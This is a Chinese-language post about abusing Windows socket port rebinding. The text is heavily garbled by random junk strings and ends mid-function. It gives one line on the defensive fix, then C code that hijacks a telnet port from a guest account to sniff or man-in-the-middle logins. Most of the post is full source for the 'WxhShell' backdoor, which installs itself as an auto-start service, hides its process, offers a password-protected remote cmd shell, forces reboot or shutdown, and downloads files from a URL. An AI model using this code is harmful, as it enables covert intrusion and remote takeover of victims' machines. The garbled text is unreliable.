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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )f>s\T s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0%7c?3# V
lN&Lz saddr.sin_family = AF_INET; ]i3 2-8% q%i2'yE saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'KMyaEh.u /[`bPKr bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,~w)~fMb8 |_{-hNiz0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,kfUlv= P^#<h"Ht 这意味着什么?意味着可以进行如下的攻击: 3de<H=H' tRZCOEo4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }:P/eY dU+28 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]e@'9`G-' rIR~YMv! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QXqBb$AXi, +FRXTku( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 nKC$
KC Ho9 a#9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S-Mn [H$rdh[+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c&z@HEzV7 ~]a:9Ev* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [vV]lWOp' Rm`_0}5 #include l'n"iQ!G #include @2cGx/1# #include %:yJ/&-Q,Z #include %b<cJ]F DWORD WINAPI ClientThread(LPVOID lpParam); U@yn%k9 int main() @U08v_, { A
q;]al WORD wVersionRequested; *oqQ=#\ DWORD ret; ZG+8kt!w WSADATA wsaData; Z;`ts/?SY] BOOL val; m?VA 1 SOCKADDR_IN saddr; q '9u8b SOCKADDR_IN scaddr; fw Ooi'jb int err; YYwFjA@ SOCKET s; ^=Q/H SOCKET sc; `3m7b!0k int caddsize; E-\Wo3 HANDLE mt; XgE\q DWORD tid; + pTc2z wVersionRequested = MAKEWORD( 2, 2 ); Q{1Q w'+@ err = WSAStartup( wVersionRequested, &wsaData ); Q]wM WV if ( err != 0 ) { 9bd $mp printf("error!WSAStartup failed!\n"); P Llad\ return -1; CmKbpN* } T9N][5 \ saddr.sin_family = AF_INET; PoTJ4z ^ur?da9z' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >qkZn7C 3BHPD;U saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |Xz-rgkQ saddr.sin_port = htons(23); =wbgZr^2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MHNuA,cz { yh~*Kt]9Ya printf("error!socket failed!\n"); c&4EO| return -1; !c+,OU[ } &[QvMh val = TRUE; K@yLcgr{O2 //SO_REUSEADDR选项就是可以实现端口重绑定的 eW%Cef if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?Vg251-H { IL*Ghq{/ printf("error!setsockopt failed!\n"); ((OQs. return -1; 5qZebD2a } .yK~FzLs //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tgk] sQY //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oihn`DY{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <!@*2/Q]J] G':wJ7[]` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t@=*k9 { APye ret=GetLastError(); .T;:6/??1 printf("error!bind failed!\n"); ]k0Pe;< return -1; Ss>ez8q } -;T!d listen(s,2); I?y!d
G while(1) R-%v?? { \_GG6 caddsize = sizeof(scaddr); N>a. dYXr //接受连接请求 ldFK3+V sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^LAP*R if(sc!=INVALID_SOCKET) )67pBj { ~bC-0^/
8| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 04o>POR if(mt==NULL) 0Ncx':]5 { 'BUix!k0< printf("Thread Creat Failed!\n"); 7dxe03h break; ,Q%q!#@
} st4WjX_Q } ]{.iv_I CloseHandle(mt); &7-ENg9 [ } dUvgFOy|P closesocket(s); 3haR/YN WSACleanup(); ab-z 7g return 0; #3~ #`& } Jam&Rj, DWORD WINAPI ClientThread(LPVOID lpParam) 3P,
ul*e { W%&gvZre. SOCKET ss = (SOCKET)lpParam; =\ek;d0Tqb SOCKET sc; ?R!?}7 unsigned char buf[4096]; ]?un'$%e SOCKADDR_IN saddr; )I{~Pcq long num; ]cmq DWORD val; :abpht DWORD ret; 7M.TLV!f] //如果是隐藏端口应用的话,可以在此处加一些判断 " J4?Sb < //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 /s~(? =qYH saddr.sin_family = AF_INET; uUIjntSF( saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /l%+l@ saddr.sin_port = htons(23); 5$PDA*]9 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eV5
e:9
{ Jx+e_k$gHO printf("error!socket failed!\n"); hJc^NU5 return -1; ;t xW\iy%Z } Efa3{
7>{ val = 100; W Te1E, M if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HKXtS>7d { #TG7WF5 ret = GetLastError(); V\m51H1mqo return -1; 7`P1=`.. } BD_"w]bqD if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e~1$x`DH { b/]@G05>> ret = GetLastError(); qX"m"ko return -1; RD_l } .
g8WMm if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V9\y*6#Y, { rvUJK,oE printf("error!socket connect failed!\n"); @-% .+ closesocket(sc); FdE9k\E#/) closesocket(ss); 4|INy=<"t return -1; 8(@Y@`/ } [ApAd while(1) knABlU { jQX9KwSP //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k%K\~U8" //如果是嗅探内容的话,可以再此处进行内容分析和记录 *USzzLq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >U#j\2!Sg num = recv(ss,buf,4096,0); WW3! ,ln_ if(num>0) xN>+!&3%w send(sc,buf,num,0); F!MxC else if(num==0) (@3?JJ]1 break; Dy|DQ> ?} num = recv(sc,buf,4096,0); Uv|^k8( if(num>0) _n12Wx{ send(ss,buf,num,0); 2O+fjs else if(num==0) w@ $_2t break; <xaB$}R } be(p13&od closesocket(ss); yiAusl; closesocket(sc); M^?=!!US^ return 0 ; &Tn7 } wg{Y6XyH ?{KC@c*c G}0fk]%\: ========================================================== 'k!V!wcD^y Yvxp( 下边附上一个代码,,WXhSHELL 3@^b's'S|} ^#,cWG}z ========================================================== h@D</2> ;h#nal>w@S #include "stdafx.h" }c;h:CE# DOGg=`XK1 #include <stdio.h> v}^
f8nVR #include <string.h> /u N3"m5i #include <windows.h> n 7m! #include <winsock2.h> i'NN #include <winsvc.h> hP]zC1s #include <urlmon.h> ; J40t14u Bg0 aLU)[ #pragma comment (lib, "Ws2_32.lib") Bl8&g]dk #pragma comment (lib, "urlmon.lib") }dSxrT aShZdeC*f #define MAX_USER 100 // 最大客户端连接数 gKay3}w #define BUF_SOCK 200 // sock buffer YcJ2Arml #define KEY_BUFF 255 // 输入 buffer fP
5!`8 WX9pJ9d #define REBOOT 0 // 重启 wJF Fg : #define SHUTDOWN 1 // 关机 $N`uM !kg)8 4C[ #define DEF_PORT 5000 // 监听端口 TAn.5
wH9t iWNTI #define REG_LEN 16 // 注册表键长度 Ch9A6?=Hj8 #define SVC_LEN 80 // NT服务名长度 J"dp?i m
K@a7fF? // 从dll定义API .1C|J typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m%?b"kxL[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tHo0q<.oX typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y:zo/#34 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5"JnJH P$|DiiH // wxhshell配置信息 oNV(C'A struct WSCFG { 'd@Vusq}2 int ws_port; // 监听端口 4$+9k;m' char ws_passstr[REG_LEN]; // 口令 _\Cd. int ws_autoins; // 安装标记, 1=yes 0=no +6*
.lRA char ws_regname[REG_LEN]; // 注册表键名 B<Ynx_95 char ws_svcname[REG_LEN]; // 服务名 ~-w char ws_svcdisp[SVC_LEN]; // 服务显示名 fJ3qL#' char ws_svcdesc[SVC_LEN]; // 服务描述信息 w5(GRAH char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D|D1`CIM int ws_downexe; // 下载执行标记, 1=yes 0=no IJn r^S8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" |KFWW char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pPG@_9qf #dGg !D }; ZN ?P4#ZS O:a$ U:
// default Wxhshell configuration : |c,.uO struct WSCFG wscfg={DEF_PORT, NOa.K)^k "xuhuanlingzhe", xUD$i?3z 1, o /fq "Wxhshell", 2r~ Nh]( "Wxhshell", FZ^byIS[ "WxhShell Service", vN7ihe[C "Wrsky Windows CmdShell Service", ~5wCehSb "Please Input Your Password: ", >~$ S! 1, V_(?mC " http://www.wrsky.com/wxhshell.exe", }#
-N7=h "Wxhshell.exe" f41!+W= }; ANCgch\ ii*Ty!Sa // 消息定义模块 $XI5fa4Tt char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U<r<$K char *msg_ws_prompt="\n\r? for help\n\r#>"; 1{"fmV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; r\[HR ^` char *msg_ws_ext="\n\rExit."; |l ~BdP char *msg_ws_end="\n\rQuit."; 5Tpn`2F char *msg_ws_boot="\n\rReboot..."; )}c$n char *msg_ws_poff="\n\rShutdown..."; hP,1;`[1 char *msg_ws_down="\n\rSave to "; &/\0_CoTR\ ?V[yw=sl04 char *msg_ws_err="\n\rErr!"; [-$&pB>w8' char *msg_ws_ok="\n\rOK!"; jVRd[ IFPywL{K char ExeFile[MAX_PATH]; f8?K_K;\ int nUser = 0; O|j5ulO}&" HANDLE handles[MAX_USER]; 1"odkM int OsIsNt; x el&8 ` h)wR[N]n SERVICE_STATUS serviceStatus; +n MgQOs SERVICE_STATUS_HANDLE hServiceStatusHandle; Ir\3c9 JpDYB // 函数声明 K?T)9 int Install(void); |x< int Uninstall(void); o
JA58/ int DownloadFile(char *sURL, SOCKET wsh); LwGcy1F. int Boot(int flag); $;;?'!%. void HideProc(void); xJ&StN/' int GetOsVer(void); nLtP^
1~9H int Wxhshell(SOCKET wsl); )cqhbR void TalkWithClient(void *cs); ~hvhT}lE int CmdShell(SOCKET sock); Tz*5;y%4 int StartFromService(void); N M8F int StartWxhshell(LPSTR lpCmdLine); ,XA;S5FE C#-x 3d-{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @ ~sp:l VOID WINAPI NTServiceHandler( DWORD fdwControl ); I$mOy{/# iqoPD4A // 数据结构和表定义 OC>" + SERVICE_TABLE_ENTRY DispatchTable[] = A:NY:#uC { F}01ikXDb' {wscfg.ws_svcname, NTServiceMain}, 7>ODaj
{NULL, NULL} [#Yyw8V#< }; 4_"ZSVq]# I'@ }Yjm| // 自我安装 i5n'f6C int Install(void) lpp'.HTP { 1QN]9R0`#7 char svExeFile[MAX_PATH]; 9xKFX|*$ HKEY key; gR( c; strcpy(svExeFile,ExeFile); 1OGlD+f 'QV4=h` // 如果是win9x系统,修改注册表设为自启动 7]v-2
* if(!OsIsNt) { [MEa@D<7N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A!f0AEA, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yr31GJ}K RegCloseKey(key); X!
]~]%K$y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v[|iuOU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Fu`g)#Z RegCloseKey(key); /d=$,q1 return 0; ;,A\bmC } Z~nl{P# } /.?\P#9) } -12v/an]L7 else { o+t?OG/0 t!=S[ // 如果是NT以上系统,安装为系统服务 )5t_tPv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UB1/FM4~ if (schSCManager!=0) kU
Flp { vP?yl "U SC_HANDLE schService = CreateService >r*Zm2($MR ( %x *f{(8h schSCManager, [V f|4xcD wscfg.ws_svcname, ~9c9@!RA2 wscfg.ws_svcdisp, q38; w~H SERVICE_ALL_ACCESS, %q Q(@TG SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9C.cz\E SERVICE_AUTO_START, QXz!1o+" SERVICE_ERROR_NORMAL, ZJpI]^9| svExeFile, 7h<K)aT NULL, ^
UzF
nW@a NULL, 8j$q%g NULL, mOB\ `&h5 NULL, NLpD,q{ NULL st2>e1vg ); -Gpj^aBU if (schService!=0) <H)@vW]_ { J$Q-1fjj CloseServiceHandle(schService); 1fy{@j(W CloseServiceHandle(schSCManager); yU.0'r5uR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _~kcr5 strcat(svExeFile,wscfg.ws_svcname); p(G? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;Ki1nq5c#s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >+#[O" RegCloseKey(key); rA`\we) return 0; .T|NB8 rS } hvyN8We } B`F82_O CloseServiceHandle(schSCManager); l)8 V:MK } Mb>XM7}PU } taQ[>x7b B<LavX>F return 1; .;2!c'mT9 } *ls6#j@ [f0HUbPX // 自我卸载 mTfMuPPs[ int Uninstall(void) mSfhl(<L { ^H4iHjg HKEY key; c)8wO=! DBUwf1=qj if(!OsIsNt) { o0'av+e7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cPcV[6)5K9 RegDeleteValue(key,wscfg.ws_regname); 2M?lgh4" RegCloseKey(key); Z?.*.<"Sj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C]fTV{ RegDeleteValue(key,wscfg.ws_regname); %7#Zb ' RegCloseKey(key); =!^iiHF return 0; ,NEs{!
T } Wts{tb } [bG>qe1}& } !yX<v%>_0 else { G)hH?_U#T N o(f0g. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +{%(_< if (schSCManager!=0) h50StZ8Yr { U.U.\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^Nw]'e3 if (schService!=0) hPz
df*(8 { 4i/q^;` if(DeleteService(schService)!=0) { OLNn3
J CloseServiceHandle(schService); ?d<:V.1U@ CloseServiceHandle(schSCManager); nnL$m_K~ return 0; AvE^
F1 } jF{gDK CloseServiceHandle(schService); xm|4\H&Bg } XDko{jEJ CloseServiceHandle(schSCManager);
YeC,@d[ } W 8$=a } .k`*$1?73x !X%!7wsc return 1; 2ZbY|8X$r } T[h}A"yK; V-;nj,.mY // 从指定url下载文件 d Zz^9:C+ int DownloadFile(char *sURL, SOCKET wsh) $&=;9=" { $Kz\
h#} HRESULT hr; >|/? Up char seps[]= "/"; G^rh*cb K char *token; d50IAa^p6J char *file; .8qzU47E char myURL[MAX_PATH]; n5k^v$' char myFILE[MAX_PATH]; RA/ =w& o\ow{gh9 strcpy(myURL,sURL); \kV7NA token=strtok(myURL,seps); O\?5#. while(token!=NULL) +z(,A { rfXF 01I file=token; $sc8)d\B token=strtok(NULL,seps); im\YL< } |t 65#1 DA MpR3 GetCurrentDirectory(MAX_PATH,myFILE); ;/";d]j strcat(myFILE, "\\"); t66f 7AR strcat(myFILE, file); i[ Gw7'f send(wsh,myFILE,strlen(myFILE),0); 0^!,[oh6* send(wsh,"...",3,0); D;^ZWz0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~e`;"n@4 if(hr==S_OK) Eo {1y return 0; Sa[EnC else 8g#
Y return 1; cB|Cy{% o
>Rw}R } S0.- >"L F`;TU"pDf // 系统电源模块 Ng."+& int Boot(int flag) +2V%'{: { UYcyk
$da HANDLE hToken; (Y'UvZlM%P TOKEN_PRIVILEGES tkp; !8
wid& dEQReD if(OsIsNt) { "]SJbuzh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c+E//X| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); np`gcj# tkp.PrivilegeCount = 1; (!_X:+0_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (EOec5qXU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bt*&L[&57 if(flag==REBOOT) { |~/3u/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JO&;bT< return 0; }j5R@I6P } u-%r~ } else { ++T
"+p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EBj,pk5M return 0; u:AfHZ } HC9vc,Fp } ]|C_`,ux else { SmT+L,:D if(flag==REBOOT) { r6oX6.c if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qb6QXjN
Q return 0; S|{Yvyp } dt-Qu},8- else { 'uP'P# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hkmTpH1<M return 0; Jo7fxWO_g } a2cx } g33<qYxP X\b}jo^96 return 1; ==-7F3QP } dT0^-XSY J+/}K>2# // win9x进程隐藏模块 3i]"#wK void HideProc(void) M&|sR+$^ { 4cXAT9 mC*W2#1pF HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ht`<XbQ> if ( hKernel != NULL ) L?3VyBE { RJtixuvh@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ur_S
[I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _9Dn\=g FreeLibrary(hKernel); 6T^N!3p_ } |uQn|"U4 nu4Pc return; ]iz_w`I\ } ~I8v5 H "?oo\op // 获取操作系统版本 S_(&UeTC int GetOsVer(void) %-@'CNP { c^ixdk OSVERSIONINFO winfo; QE7+rBa winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g>6:CG" GetVersionEx(&winfo); BlkSWW/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K:}h\ In return 1; 3q'K5}
_ else "_nX5J9 return 0; httls>:xB| } ^z[_U}N\} |RHO+J // 客户端句柄模块 #D!$~h&i int Wxhshell(SOCKET wsl) fl!mYCPv { S9OxI$6Y
SOCKET wsh; k)$iK2I struct sockaddr_in client; B*9 DWORD myID; 0^J*+ CMC?R,d while(nUser<MAX_USER) f2uZK!:m { vg+r?4Q3 int nSize=sizeof(client); -0A@38, } wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b cC\ if(wsh==INVALID_SOCKET) return 1; <2n'}&F QH& %mr.S handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9U!JK3d if(handles[nUser]==0) qv.[k<~a> closesocket(wsh); ceqFQ else \U==f&G?J nUser++; Zn?8\ } =fY lzZh WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V78Mq:7d {;U} :Dx return 0; f&K}IM8& # } _Mlhumt RI?NB6U // 关闭 socket ]a8eDy void CloseIt(SOCKET wsh) @8|~+y8, { <MRC%!. closesocket(wsh); J =b* nUser--; b21}49bHN ExitThread(0); ZmNZS0j } Gj6<s./ h!QjpzQe // 客户端请求句柄 X88F>1} void TalkWithClient(void *cs) )sqaR^ { Xe)Pg)J1 IT,"8s SOCKET wsh=(SOCKET)cs; K/DH
/
r char pwd[SVC_LEN]; JAN|aCzD char cmd[KEY_BUFF]; AmZuo_ char chr[1]; 7Ez}k}aR< int i,j; m^z,,t9 xOhRTxic while (nUser < MAX_USER) { W^w d
([ O!o <P5X^ if(wscfg.ws_passstr) { 61G|?Aax if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yi[4DfA //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E{<?l 7t //ZeroMemory(pwd,KEY_BUFF); ?b5H
2W i=0; vXc!Zg~ while(i<SVC_LEN) { \{lE0j7}h %z=`JhE"Q // 设置超时 : sFo
fd_set FdRead; 4AJ9`1d4 struct timeval TimeOut; .6LS+[ FD_ZERO(&FdRead); OqtQA#uL FD_SET(wsh,&FdRead); Rb?~ Rs\ TimeOut.tv_sec=8; ,b$z!dvhl TimeOut.tv_usec=0; T=.-Cl1A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
M'YJ" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -7&?@M,u ad9EG#mD# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |"_ )zQ pwd =chr[0]; nVNs][ if(chr[0]==0xd || chr[0]==0xa) { R<>tDwsZGa pwd=0; 3XnE y
+ break; <W?WUF } !F-sA: xq i++; V>AS%lXj } s_TD4~
$ W5|j1He& // 如果是非法用户,关闭 socket 9Kx<\)-GMD if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \,hrk~4U;( } % oR>Uo } +1'{B"I send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CPVmF$A- send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j|k@MfA (xbIUz. while(1) { CGkI\E BK*z 4m ZeroMemory(cmd,KEY_BUFF); 3h LqAj L*9H#%3 // 自动支持客户端 telnet标准 ;HP#bx j=0; /-><k,mL? while(j<KEY_BUFF) { j!7Qw 8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l!/!?^8|f cmd[j]=chr[0]; 86y%=! bS if(chr[0]==0xa || chr[0]==0xd) { =E!x~S;N cmd[j]=0; r
3|4gG break; loBtd%wY } jx'2N~$ j++; ,&[7u9@ } BD4`eiu" JA< :K0 // 下载文件 LfHzT<)| if(strstr(cmd,"http://")) { 8!;$qVt send(wsh,msg_ws_down,strlen(msg_ws_down),0); LZ4xfB( if(DownloadFile(cmd,wsh)) `/0u{[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z(rK^RT else 1TIlINlJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t{6ap +%L } nGns}\!7' else { =!<^^6LZ ld95[cTP switch(cmd[0]) { Hsgy'X%om obj!I7 // 帮助 *<xrp*O case '?': { R3Ee%0QK send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u0g*O]Y break; G0pBR]_5z$ } Nq_A8Ph9 // 安装 nc&Jmo7 case 'i': { yjFe' if(Install()) j %H`0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); NHAH#7]M&1 else <ZVZ$ZW~D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .yX>.>"T| break; i5VG2S } 0E1=W6UZ // 卸载 !)nD xM`p case 'r': { Y1WHy*s? if(Uninstall()) rnH}#u+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); `36N
n+A else R^6Zafp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2f^-~dz break; *i@T!O(1)M } MJ\r 4n // 显示 wxhshell 所在路径 y?Onb3% case 'p': { ~~q}cywBk char svExeFile[MAX_PATH]; hbfsHT strcpy(svExeFile,"\n\r"); BGzO!s*@j strcat(svExeFile,ExeFile); <sc\EK send(wsh,svExeFile,strlen(svExeFile),0); Ka.Nr@Rq*~ break; L+t[&1cW } &[~[~m| // 重启 q]XHa ," case 'b': { ul=7>";=| send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u7#z^r if(Boot(REBOOT)) OXCQfT@\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); cix36MR_ else { R8 jovr closesocket(wsh); PQ3h\CL1n ExitThread(0); i-.c=M } C_Gzv'C"L break; !F$R+A+L } UJn/s;$.e // 关机 nvH|Ngg Q case 'd': { /AR]dcL@76 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H(&Z:{L if(Boot(SHUTDOWN)) 11{y}J send(wsh,msg_ws_err,strlen(msg_ws_err),0); KoF
iQ? else { + Kk@Q closesocket(wsh); !M^\f
N1 ExitThread(0); v ):V } OD|1c6+X break; PUCx]5 } @ae>b // 获取shell |7c`(. case 's': { 'Sa!5h CmdShell(wsh); yC"Zoa6YZ closesocket(wsh); jyQVSQs ExitThread(0); D:m#d.m break; $20s]ywS } 0H+c4IW // 退出 50Ad,mn< case 'x': { =~JfVozU send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (}jL_E CloseIt(wsh); k{-`]qiK break; *~;8N|4< } hVf^ // 离开 mPG7Zy$z case 'q': { YxyG\J\|, send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZAeQ~ j~ closesocket(wsh);
iRs V#s WSACleanup(); yoU2AMH2D^ exit(1); 2LK]Q/WG,+ break; S_5?U2%D } RJPcn)@l } Abf1"#YImy } L|J~9FM ?gG, t4D // 提示信息 sg$4G:l if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "K
?#,_ } rKp1%S1 } 74]a/'4 g@u;Y5 return; v.b5iv 5 } q^]tyU!w ^aptLJF // shell模块句柄 r--;yEjWE int CmdShell(SOCKET sock) 7E(%9W6P { ^#w{/C/n STARTUPINFO si; PCZ]R ZeroMemory(&si,sizeof(si)); 4#h?Wga si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >h%\HMKk si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !.X_/$c PROCESS_INFORMATION ProcessInfo; <I1y char cmdline[]="cmd"; 1|/'"9v CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o8tS return 0; ]#5^&w)' } bg1un@%!l P&\X`ZUA // 自身启动模式 XN(tcdCG int StartFromService(void) JCcQd01z { @'HT;Q!\Vd typedef struct IfB/O.;Kz { OHhs y|W DWORD ExitStatus; -5xCQJ[ DWORD PebBaseAddress; ?`aTu:1#Z DWORD AffinityMask; C$K+=jT DWORD BasePriority; >b43%^yii ULONG UniqueProcessId; ] R<FKJ[ ULONG InheritedFromUniqueProcessId; o\60n } PROCESS_BASIC_INFORMATION; 5 H *> '=@r7g.2 PROCNTQSIP NtQueryInformationProcess; H|K("AVP: 4Cd#sQ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `*d{PJTv static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rn;VP:H M (Com, HANDLE hProcess; ^Xa*lR 3 PROCESS_BASIC_INFORMATION pbi; 1ys( v CpSK(2j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UM`nq;> if(NULL == hInst ) return 0; ArL-rJ{} obYn&\6 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tIp{},bQ^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 